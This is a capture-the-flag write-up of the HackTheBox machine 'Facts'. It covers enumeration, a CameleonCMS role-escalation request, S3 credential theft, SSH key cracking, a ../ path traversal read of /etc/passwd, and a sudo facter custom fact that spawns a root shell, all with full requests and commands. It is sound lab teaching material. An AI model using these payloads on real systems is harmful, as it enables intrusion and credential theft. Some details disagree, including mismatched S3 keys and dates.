In Facts, we escalate privileges through CameleonCMS, retrieve S3 credentials and SSH keys from a S3 bucket, then exploit Facter sudo misconfiguration to gain root access.

Introduction

In this post, I will demonstrate the exploitation of an easy difficulty machine called "Facts" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.

This machine was pwned on 16 March 2026. The write-up was released publicly on 7 June 2026 after the machine retired.

Step 1: running an Nmap scan on the target

After adding the IP to our hostfile (sudo vim /etc/hosts), I ran an nmap scan of the 1000 most common ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV facts.htb     
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-21 16:57 -0400
Nmap scan report for facts.htb (10.129.37.102)
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

This scan revealed that an SSH server as well as an nginx webserver is running. In the background, I also performed a scan of all tcp ports which yielded the following results:

──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- facts.htb -T4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-21 17:04 -0400
Nmap scan report for facts.htb (10.129.37.102)
Host is up (0.014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
54321/tcp open  http    Golang net/http server
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18A87B2FFA74F2C7
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 21 Apr 2026 21:04:58 GMT
output omitted

Here, we found that another http server is running on port 54321. Specifcally, It seems we have stumbled upon a MinIO instance running on a non-standard port (54321). MinIO is an open-source object storage server compatible with Amazon S3 API's.

Step 2: Enumerating the webserver

Upon visiting the website running on port 80, I was greeted with a generic page where no obvious attack vector could be found at first sight.

website port 80

Visiting the service on port 54321 redirected to port 9001, but we were unable to connect. This seemed like a dead end for now. Therefore, I decided to investigate the webservice on port 80 in more detail. Some vhost fuzzing using ffuf seemed like an appriopriate next step to do:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://facts.htb/ -H "Host: FUZZ.facts.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.facts.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 3225 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
                                                                                                      

Unfortunately, this did not yield any results. Therefore, I decided to perform a directory bruteforce. After some time passed, we got a few hits of which "admin" seemed the most promising:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://facts.htb -x html,php,txt -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index                (Status: 200) [Size: 11113]
index.html           (Status: 200) [Size: 11128]
index.php            (Status: 200) [Size: 11125]
index.txt            (Status: 500) [Size: 7918]
search.html          (Status: 200) [Size: 19212]
search.php           (Status: 200) [Size: 19207]
search               (Status: 200) [Size: 19187]
search.txt           (Status: 500) [Size: 7918]
rss.php              (Status: 200) [Size: 183]
rss.html             (Status: 200) [Size: 183]
rss                  (Status: 200) [Size: 183]
rss.txt              (Status: 200) [Size: 183]
sitemap              (Status: 200) [Size: 3508]
sitemap.php          (Status: 200) [Size: 2090]
sitemap.html         (Status: 200) [Size: 12139]
sitemap.txt          (Status: 500) [Size: 7918]
en.html              (Status: 200) [Size: 11124]
en                   (Status: 200) [Size: 11109]
en.php               (Status: 200) [Size: 11121]
en.txt               (Status: 500) [Size: 7918]
page.php             (Status: 200) [Size: 19613]
page.html            (Status: 200) [Size: 19618]
page                 (Status: 200) [Size: 19593]
page.txt             (Status: 500) [Size: 7918]
welcome.html         (Status: 200) [Size: 11981]
welcome              (Status: 200) [Size: 11966]
admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.html           (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.txt            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
post.php             (Status: 200) [Size: 11320]
post                 (Status: 200) [Size: 11308]
post.html            (Status: 200) [Size: 11323]
post.txt             (Status: 500) [Size: 7918]
Progress: 1560 / 830568 (0.19%)^C

Step 3: Gaining access

Navigating to this endpoint revealed a login page and an option to register:

website port 80 login screen

Next thing I did was make an account through the register functionality displayed on the page. Subsequently, I logged in using the newly made account where I was greeted with some kind of admin panel:

website port 80 admin page

There wasn't a lot on this page that could be used to gain a reverse shell. However, the page revealed that CameleonCMS version 2.9.0 is used. Therefore, I did some googling to determine whether there are some known vulnerabilities in this version. It seemed that there was a recent path traversal vulnerabilty for CameleonCMS in the AWS S3 uploader implementation: CVE-2026-1776. In Addition, I also found another privilege escalation vulerability: CVE-2025–2304.

I started with CVE-2025–2304 as it seemed most promising. Investigation of a POC for this exploit revealed we can send a POST request to /admin/users/{id}/updated_ajax and inject the password[role]=admin parameter to elevate our role to admin. I tried exploiting this manually as I don't like blindly running scripts.

The next step is to go to the profile settings and find the "change password" option. Enable Burpsuite intercept and capture the request:

burpsuite request interception

Edit the body and add the payload user[role]=admin

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: DdBpqUshdnCyjIeFajYx6Pft7A5bqC9kNJQ2RHRdpOIJj6uo6Ig6VPbGcMYHZHV3Ei0KEdnrsRbPQQjfGF58oQ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=iNIoAXF2yi0htvIMJnLTSt407u3cs1kbnaJEfHpF3kprZNL4uICJ9dSQqKur6om4bn%2Bz5wzMLUeXrlpVwvJoD%2Fu77qOPxsJgQUidpA9C%2B32VaN0LI2%2FZTuMKSL3zmllAt0yvZRxFxvdONLwgoQTyRMn9FfLXE%2FCRJzRaVtxRrYF373vcjNMisAoKCS898y71IBy%2Fy780%2FKlUdRP3vnaNRsjqiavzZt1h7kLk5l%2BzFclyk%2B5G6vsZoxQ0ruA%2FvC17EcU8swZwOUlO3pZ1HRwGhMQc3WtCBU1F%2FrLfwzQBnfU69cm%2FF3c0HWV34Upa7ulx6PDlPC%2BDheuOmCmiuWx5MagJ0UM29wRRfz7TnfSIlXMG5s61%2BL%2FDzTI%3D--wzS6Mdp65vCK3bfJ--DOtaROp1md7VL9FiTjERrw%3D%3D; auth_token=O-FttcpU996F-szz5Voa1A&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.15.26
Priority: u=0

_method=patch&authenticity_token=DdBpqUshdnCyjIeFajYx6Pft7A5bqC9kNJQ2RHRdpOIJj6uo6Ig6VPbGcMYHZHV3Ei0KEdnrsRbPQQjfGF58oQ&password%5Bpassword%5D=test&password%5Bpassword_confirmation%5D=test&password[role]=admin

After forwarding this request, I gained admin privileges on the CameleonCMS panel:

getting admin privileges cameleoncms

By navigating to Settings > General Site > Filesystem Settings, AWS S3 credentials can be obtained

getting aws s3 credentials

For better readability:

Aws s3 access key: AKIAFDB95DC508B428B4
Aws s3 secret key: JKABwrXUQMMpNpOUDOC0kR6b8XcjdQTOZP7fATdY
Aws s3 bucket name: randomfacts
Aws s3 region: us-east-1
Aws s3 bucket endpoint: http://localhost:54321
Cloudfront url: http://facts.htb/randomfacts

Now, we know that there is an AWS s3 bucket connected to the site of which we have credentials. Therefore, the next step is connecting to it and seeing what is stored on the s3 bucket. To do this, we need to first configure our client to connect to the s3 bucket.

┌──(kali㉿kali)-[~/CVE-2025-2304]
└─$ aws configure --endpoint-url http://facts.htb:54321
AWS Access Key ID [****************B6B7]: AKIAE7AF19A77181F7E6
AWS Secret Access Key [****************8IdP]: UfmoMGEd37k04IUlwrRatb2K57s6DsgtJWRgoCKZ
Default region name [us-east-1]:
Default output format [None]:

Let's see what is on this s3 bucket.

┌──(kali㉿kali)-[~/CVE-2025-2304]
└─$ aws --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

We find 2 directories of which internal seems the most promising. Exploring a bit further reveals the following:

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 13:45:13        220 .bash_logout
2026-01-08 13:45:13       3900 .bashrc
2026-01-08 13:47:17         20 .lesshst
2026-01-08 13:47:17        807 .profile

There is an .ssh folder which could have some private keys.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
2026-04-22 07:46:36         82 authorized_keys
2026-04-22 07:46:36        464 id_ed25519

Seems we are in luck. There is indeed a private key. Let's copy it to our host:

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

It seems this private key is protected by a passphrase. Let's decrypt it using john:

┌──(kali㉿kali)-[~]
└─$ ssh2john id_ed25519 > hash.txt

Now, we can crack the hash:

┌──(kali㉿kali)-[~]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:39 0.01% (ETA: 2026-05-16 00:05) 0g/s 8.645p/s 8.645c/s 8.645C/s jesse..atlanta
dragonballz      (id_ed25519)     
1g 0:00:05:35 DONE (2026-04-22 08:07) 0.002977g/s 9.529p/s 9.529c/s 9.529C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably

At this point, I didn't know which users were on the system. Therefore, I was stuck and decided to do a bit more research regarding vulnerabilities in CameleonCMS. That's how I came across the following vulnerability: Arbitrary path traversal vulnerability. Apparently, this vulnerability should be patched onwards from version 2.8.2. However, it was inadequately patched and it also works on version 2.9.0 when S3 storage is enabled. To exploit this vulnerability, I crafted this request in Burpsuite:

GET /admin/media/download_private_file?file=../../../../../../etc/passwd HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/settings/site
Connection: keep-alive
Cookie: _factsapp_session=mtbuBfaoYRjfxMQf3cJmo51d7wPkUSYXZaCNMTZ%2B9LoQuPoMPNjCJhICy7w27eQw%2B9cpX63L3zQ%2Ft4iTYekvdTM7olA6mOj%2BFU2%2B%2FEk5edMM5Dk%2BaFYGc0fJFn3pQEtap7bHmKIoq%2BXu%2F%2FbUDqnfOl7VlDZ7%2FijvZhBUDlU6paERrcMB3DXx6Yxch3r%2F2OvSHi2D1TskBdQMd301aVu7X5v72%2FgixfVw5%2BG04Edix%2FnIe94rpM1%2FXR6Cham%2BbCk%2BlZgMFtr0bzYi6D3VU9fGwLRDl343nTP24L6J6mnpiyn3wmiPF6EcRWBAYNmOcFhFfXvwETzAUgLsKl3q2K%2BuCCGpuqHpXeGYTslOZvKkfWQ39zRY94G0j8o%3D--IFNPtt8wWYU1aZIa--SgJO4dWUsi2ts9kNNd%2Ff5w%3D%3D; auth_token=nS9AQaEIkCQRbHqmmEdZLg&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.15.26
Upgrade-Insecure-Requests: 1
If-None-Match: W/"a369674e84dc5dff50502bc255a35420"
Priority: u=0, i

The response gave us back the /etc/passwd file exposing the users on the box:

HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Wed, 22 Apr 2026 12:36:07 GMT
Content-Type: application/octet-stream
Content-Length: 1809
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: inline; filename="passwd"; filename*=UTF-8''passwd
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: a94a19f5-c20f-49ab-8b07-a704bf2f41ba
x-runtime: 0.249300

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false

Apparently, there are only 2 users on the box with a shell: "trivia" and "william". Attempting to authenticate using ssh with the previously found private key established a session for the user trivia (don't forget to supply the previously cracked passphrase):

┌──(kali㉿kali)-[~]
└─$ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Apr 22 12:55:16 PM UTC 2026

  System load:           0.16
  Usage of /:            71.9% of 7.28GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             220
  Users logged in:       1
  IPv4 address for eth0: 10.129.37.198
  IPv6 address for eth0: dead:beef::250:56ff:fe94:c2e6


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$ 

Navigating to the home directory of William gives us the user flag:

trivia@facts:/home/william$ ls
user.txt

Step 4: privilege escalation to root

After some exploration on the box, I found we could run a program called "facter" as sudo without providing a password:

trivia@facts:/opt$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

After some research it seems that this is a program that generates some facts about the system. There is also an option to write your own custom fact in ruby which is then executed by the program. This seems interesting as we could potentially craft a malicious ruby fact that spawns a shell.

First, create a ruby fact file:

Facter.add(:my_custom_fact) do
  setcode do
        exec('/bin/sh')
  end
end

We can execute this using the following command and get root on the box:

trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/home/trivia/ my_custom_fact
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root/
minio-binaries  ministack  root.txt  snap

Congratulations, you have succesfully rooted this box!

Final thoughts

Overall, This was a nice and easy box which I thouroughly enjoyed solving. It wasn't hard but I got stuck for a while on finding the users of the box as the arbitrary path traversal vulnerability seemed to be patched (until it wasn't).

Go to the Home Page